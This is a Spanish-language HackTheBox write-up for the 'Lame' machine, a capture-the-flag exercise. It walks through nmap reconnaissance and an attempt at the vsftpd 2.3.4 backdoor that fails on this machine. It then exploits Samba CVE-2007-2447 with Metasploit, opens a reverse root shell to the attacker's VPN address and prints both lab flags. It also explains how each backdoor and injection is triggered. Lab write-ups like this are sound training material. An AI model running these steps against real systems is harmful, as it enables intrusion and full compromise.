Lame

HackTheBox — Linux · Nmap → vsftpd 2.3.4 (backdoor no funciona) → Samba 3.0.20 → CVE-2007-2447 → Metasploit → Root

● FÁCIL HACKTHEBOX LINUX SMB · SAMBA CVE-2007-2447 METASPLOIT 📅 Junio 2026 · By Brandeiks

Resumen

Lame es la primera máquina publicada en HackTheBox, de dificultad fácil. Corre Linux y expone cuatro servicios: FTP (vsftpd 2.3.4), SSH, y Samba en los puertos 139 y 445.

El ataque comienza explorando el backdoor conocido en vsftpd 2.3.4, descubierto en 2011, que en esta máquina está bloqueado y no funciona. El vector real es Samba 3.0.20, vulnerable al CVE-2007-2447: una inyección de comandos shell a través del parámetro "username map script" en smb.conf.

Usando el módulo de Metasploit exploit/multi/samba/usermap_script con el LHOST correcto (IP de la VPN), se obtiene una shell directa como root sin necesidad de escalada de privilegios.

FaseTécnica / HerramientaResultado
Reconocimientoping -c3 + nmap -PnOS Linux (TTL 63) · 4 puertos abiertos
Escaneo de serviciosnmap -p21,22,139,445 -sCV -Pnvsftpd 2.3.4 · OpenSSH 4.7p1 · Samba 3.0.20
Intento FTPMetasploit vsftpd_234_backdoorExploit completo pero sin sesión creada
Enum. Sambasmbmap -H / smbclient -NShare tmp con READ/WRITE · Samba 3.0.20-Debian
ExplotaciónMetasploit usermap_script · CVE-2007-2447Command shell session 1 abierta como root
Post-explot.cd /root · cd /home/makisroot.txt + user.txt capturadas

Conexión

1
PREPARAR EL EQUIPO — OPENVPN

Descargamos el archivo VPN desde HackTheBox y lo conectamos con openvpn. Luego encendemos la máquina Lame desde la plataforma y copiamos su IP objetivo: 10.10.10.3. El LHOST que usaremos en Metasploit será la IP asignada a nuestra interfaz VPN (en este caso 10.10.14.246).

VPN
$ sudo openvpn lab_Masker10.ovpn
// NOTA IMPORTANTE — LHOST

En HackTheBox, el LHOST para Metasploit NO es la IP de tu máquina local (ej. 192.168.x.x), sino la IP de tu interfaz tun0 (VPN). Puedes verla con ip a show tun0. Si usas la IP incorrecta, el exploit ejecutará pero no podrá establecer la sesión.


Reconocimiento

1
VERIFICACIÓN DE CONECTIVIDAD — PING

Verificamos que la máquina está activa y determinamos el sistema operativo analizando el TTL. El TTL de respuesta es 63, que indica Linux (TTL inicial 64 menos 1 salto de red).

PING
$ ping -c3 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=3 ttl=63 time=155 ms
 
--- 10.10.10.3 ping statistics ---
3 packets transmitted, 1 received, 66.6667% packet loss, time 2040ms
rtt min/avg/max/mdev = 154.641/154.641/154.641/0.000 ms
2
ESCANEO INICIAL — NMAP -Pn

Escaneamos los puertos de forma silenciosa con -Pn (sin enviar paquetes ICMP para detectar el host). Identificamos 4 puertos TCP abiertos: FTP en el 21, SSH en el 22, y SMB/NetBIOS en los puertos 139 y 445.

NMAP
$ nmap -Pn 10.10.10.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-21 19:17 EDT
Nmap scan report for 10.10.10.3
Host is up (0.11s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
 
Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds
3
ESCANEO PROFUNDO — VERSIONES Y SCRIPTS NSE

Con los puertos identificados, lanzamos un escaneo detallado con -sCV para obtener versiones exactas y ejecutar scripts NSE. Descubrimos información clave: vsftpd 2.3.4 en el FTP, OpenSSH 4.7p1 en el 22, y Samba smbd 3.0.20-Debian en los puertos SMB.

NMAP DEEP
$ nmap -p21,22,139,445 -sCV -Pn 10.10.10.3
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 2.3.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   vsFTPd 2.3.4 - secure, fast, stable
22/tcp   open  ssh           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
 
Host script results:
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_ message_signing: disabled (dangerous, but default)

vsftpd 2.3.4 — La Falsa Pista

La versión vsftpd 2.3.4 es famosa por contener un backdoor malicioso introducido en junio de 2011. Se activa enviando un nombre de usuario terminado en ":)", que abre un listener en el puerto 6200. Metasploit tiene un módulo específico para esto.

Sin embargo, en Lame el backdoor está bloqueado y no funciona. El exploit completa sin crear sesión. Es una lección importante: no toda vulnerabilidad conocida es explotable en todos los entornos.

// RABBIT HOLE — BACKDOOR BLOQUEADO

El exploit vsftpd_234_backdoor retorna Exploit completed, but no session was created. El firewall o configuración de la máquina bloquea el puerto 6200 donde debería abrir el listener. Ignoramos este vector y continuamos con Samba.

1
INTENTO CON METASPLOIT — vsftpd BACKDOOR
MSF
$ msfconsole
MSF
msf6 > search vsftpd 2.3.4
msf6 > use 0
msf6 exploit(...) > set RHOSTS 10.10.10.3
msf6 exploit(...) > exploit
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

Enumeración Samba

Pivotamos hacia el servicio Samba. El escaneo Nmap ya reveló la versión 3.0.20-Debian, que es vulnerable al CVE-2007-2447. Antes de explotar, enumeramos los recursos compartidos con smbmap y nos conectamos manualmente con smbclient.

1
ENUMERACIÓN DE RECURSOS — SMBMAP

smbmap enumera los recursos compartidos y sus permisos. Identificamos que el share tmp tiene permisos de READ, WRITE, lo que confirma acceso anónimo amplio.

SMBMAP
$ smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445   Name: 10.10.10.3                Status: Authenticated
 
Disk                     Permissions       Comment
----                     -----------       -------
print$                   NO ACCESS        Printer Drivers
tmp                       READ, WRITE     oh noes!
opt                       NO ACCESS
IPC$                      NO ACCESS        IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$                    NO ACCESS        IPC Service (lame server (Samba 3.0.20-Debian))
2
CONEXIÓN MANUAL — SMBCLIENT

Nos conectamos al share tmp con smbclient usando -N (sin credenciales, sesión anónima). Exploramos el contenido con ls y comprobamos que tenemos acceso. Aunque vemos archivos interesantes como vmware-root, el acceso está denegado. La información más valiosa ya la tenemos: la versión de Samba.

SMBCLIENT
$ smbclient -N \\\\10.10.10.3\\tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
 
  .                                     D         0   Sat Jun 21 21:04:35 2025
  ..                                    DR        0   Sat Jun 21 15:44:55 2025
  vmware-root                          DR        0   Sat Jun 21 15:16:52 2025
  vgauthsvclog.txt.0                  R       1600  Sat Jun 21 15:14:50 2025
 
            7282168 blocks of size 1024. 5386276 blocks available
// CVE-2007-2447 — SAMBA USERNAME MAP SCRIPT

Samba 3.0.20 es vulnerable a ejecución remota de comandos cuando la opción "username map script" está habilitada en smb.conf. Un atacante puede inyectar metacaracteres shell en el campo de usuario durante la autenticación, lo que ejecuta comandos arbitrarios con los privilegios del proceso Samba (root en este caso). CVSS: 10.0 (Crítico).


Explotación — CVE-2007-2447

Usamos el módulo de Metasploit exploit/multi/samba/usermap_script que explota el CVE-2007-2447. La clave es configurar correctamente el LHOST con la IP de nuestra interfaz VPN (tun0), no la IP de la red local, ya que HackTheBox enruta el tráfico de vuelta a través de la VPN.

1
BUSCAR Y CARGAR EL MÓDULO
MSF
msf6 > search Samba 3.0.20
Matching Modules
================
 
   #  Name                                               Disclosure Date  Rank       Check
   -  ----                                               ---------------   ----       -----
 
   0  exploit/multi/samba/usermap_script                 2007-05-14        excellent  No
     Samba "username map script" Command Execution
2
CONFIGURAR Y EJECUTAR EL EXPLOIT

Seleccionamos el módulo, configuramos RHOSTS con la IP de la víctima y LHOST con la IP de nuestra VPN. Este es el paso crítico donde muchos fallan al poner la IP local en lugar de la de la interfaz tun0.

MSF
msf6 > use 0
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.246 # IP tun0 (VPN)
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.246:4444
[*] Command shell session 1 opened (10.10.14.246:4444 → 10.10.10.3:43808) at 2025-06-21 22:43:25 -0400
 
whoami
root
// SHELL DIRECTA COMO ROOT

El exploit CVE-2007-2447 entrega una shell directamente como root. No hay escalada de privilegios necesaria — Samba corría con permisos de superusuario en esta versión vulnerable. Desde aquí tenemos acceso completo al sistema.


Flags

Con shell como root, navegamos al directorio /root para la flag de root, y a /home/makis para la flag de usuario.

1
ROOT FLAG
SHELL
$ cd /root
$ ls
# Desktop reset_logs.sh root.txt vnc.log
$ cat root.txt
2
USER FLAG
SHELL
$ cd /home
$ ls
# ftp makis service user
$ cd makis
$ cat user.txt
// USER FLAG — /home/makis/user.txt
f21153c45bce4606d7c3c9c5263ce60a
// ROOT FLAG — /root/root.txt
86e620165496bd3a51c91192394b7ff6

Referencia de Comandos

nmap
nmap -p21,22,139,445 -sCV -Pn [IP]
Escaneo de puertos con detección de versiones y scripts NSE, sin ping previo.
  • -Pn — No hacer ping (tratar host como activo)
  • -sC — Ejecutar scripts NSE por defecto
  • -sV — Detectar versiones de servicios
  • -p — Especificar puertos concretos
smbmap
smbmap -H [IP]
Enumera recursos compartidos SMB y los permisos del usuario anónimo sobre cada uno.
  • -H — Host/IP objetivo
  • -u — Usuario (vacío = anónimo)
  • -p — Puerto SMB (default 445)
smbclient
smbclient -N \\\\IP\\share
Cliente SMB de línea de comandos, similar a FTP. Permite navegar y descargar archivos de shares.
  • -N — Sin contraseña (anónimo)
  • -L — Listar shares disponibles
  • get — Descargar archivo del share
Metasploit
exploit/multi/samba/usermap_script
Módulo que explota CVE-2007-2447 inyectando metacaracteres shell en el campo username de Samba.
  • RHOSTS — IP de la víctima
  • LHOST — IP VPN tun0 (¡no la local!)
  • RPORT — Puerto SMB (default 139)

Glosario

TTL — Time To Live
El TTL es un valor en los paquetes de red que indica cuántos saltos (routers) puede dar antes de ser descartado. Se usa para identificar el sistema operativo: Linux usa TTL inicial de 64 (llega a 63 tras 1 salto), Windows usa 128 (llega a 127). Este fingerprinting pasivo evita ruido en la red.
SMB / Samba — Server Message Block
SMB es el protocolo de red de Microsoft para compartir archivos, impresoras y comunicación IPC entre sistemas. Samba es la implementación open-source de SMB para sistemas Unix/Linux. Opera en los puertos 139 (NetBIOS) y 445 (SMB directo sobre TCP). Es históricamente una fuente de vulnerabilidades críticas (EternalBlue, CVE-2007-2447, etc.).
CVE-2007-2447 — Samba Username Map Script
Vulnerabilidad en Samba 3.0.0 a 3.0.25rc3 que permite RCE cuando la opción username map script está configurada en smb.conf. El atacante inyecta metacaracteres shell (como ; comando) en el nombre de usuario durante la autenticación MS-RPC. El proceso Samba ejecuta esos comandos con sus propios privilegios (root). CVSS Score: 10.0.
vsftpd 2.3.4 — Backdoor
En junio de 2011, repositorios no oficiales distribuyeron una versión troyanizada de vsftpd 2.3.4 con un backdoor. Se activaba enviando un usuario terminado en :) (ej. user:)), que abría un listener en el puerto 6200. En Lame, aunque la versión es la vulnerable, el puerto está bloqueado por firewall, haciendo el exploit inútil.
Metasploit Framework
Metasploit es el framework de explotación más utilizado en pentesting. Organiza exploits, payloads y módulos auxiliares. El flujo básico es: search [vuln]use [módulo]set RHOSTS [IP]set LHOST [IP_VPN]exploit. El LHOST siempre debe ser la IP de la interfaz de red que puede recibir la conexión entrante de la víctima.
smbmap — Enumeración SMB
smbmap es una herramienta especializada en enumerar recursos SMB y sus permisos. A diferencia de smbclient, muestra una tabla clara con todos los shares y si tienes acceso de lectura, escritura o ninguno. Es especialmente útil para identificar rápidamente shares accesibles sin credenciales (anónimo) y targets con permisos de escritura que podrían usarse para plantar payloads.
Rabbit Hole — Falsa Pista
En CTF y pentesting, un rabbit hole es una pista o vector que parece prometedor pero no lleva a ningún lado. En Lame, el backdoor de vsftpd 2.3.4 es el rabbit hole clásico: muchos principiantes gastan tiempo intentando explotarlo sin éxito porque está bloqueado. Reconocer cuándo abandonar un vector y pivotar a otro es una habilidad fundamental del pentester.
LHOST vs RHOST — Metasploit
RHOST (Remote Host) es la IP de la máquina víctima que se va a atacar. LHOST (Local Host) es la IP del atacante donde se recibirá la reverse shell. En entornos como HackTheBox donde se usa VPN, el LHOST debe ser la IP de la interfaz tun0 (asignada por la VPN), no la IP de la red local. Si se usa la IP incorrecta, el exploit ejecuta pero no puede enrutar la conexión de vuelta.